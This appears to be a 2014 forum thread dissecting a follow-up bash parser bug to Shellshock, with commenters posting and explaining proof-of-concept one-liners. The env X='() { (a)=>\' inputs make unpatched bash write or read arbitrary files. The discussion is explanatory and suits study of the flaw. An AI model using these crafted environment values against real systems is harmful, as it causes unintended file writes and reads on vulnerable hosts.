$ env X='() { (a)=>\' sh -c "echo date"; cat echo
https://twitter.com/taviso/status/514887394294652929#
env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("
My reading of this is that it's weird, and it's certainly a bug in the parser, but because you don't get to put the executable code in the environment variable it's not an RCE exploit like the last bug was.
Does anyone have confirmation that this new bug allows you to RCE with control of the value of an environment variable alone?
edit: OK, I give. I don't understand how this is different from,
env z='' echo oops
'' evil command here
Am I missing something?
I think so, but the sample exploit isn't really designed to give a clear understanding if you don't already know what's going on.
Try this:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Thu Sep 25 02:27:07 UTC 2014
AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as
date > echohttp://seclists.org/oss-sec/2014/q3/679
Of course, that doesn't mean there isn't one. It's clearly a reasonably significant issue - the setting of environment variables can cause unintended file system writes (and the same parsing bug can be used for reads) - and you're better off assuming that someone will determine an exploit based on it.
$ date -u > file1
$ env -i X='() { (a)=<\' bash -c 'file1 cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 02:14:30 UTC 2014
"still vulnerable :("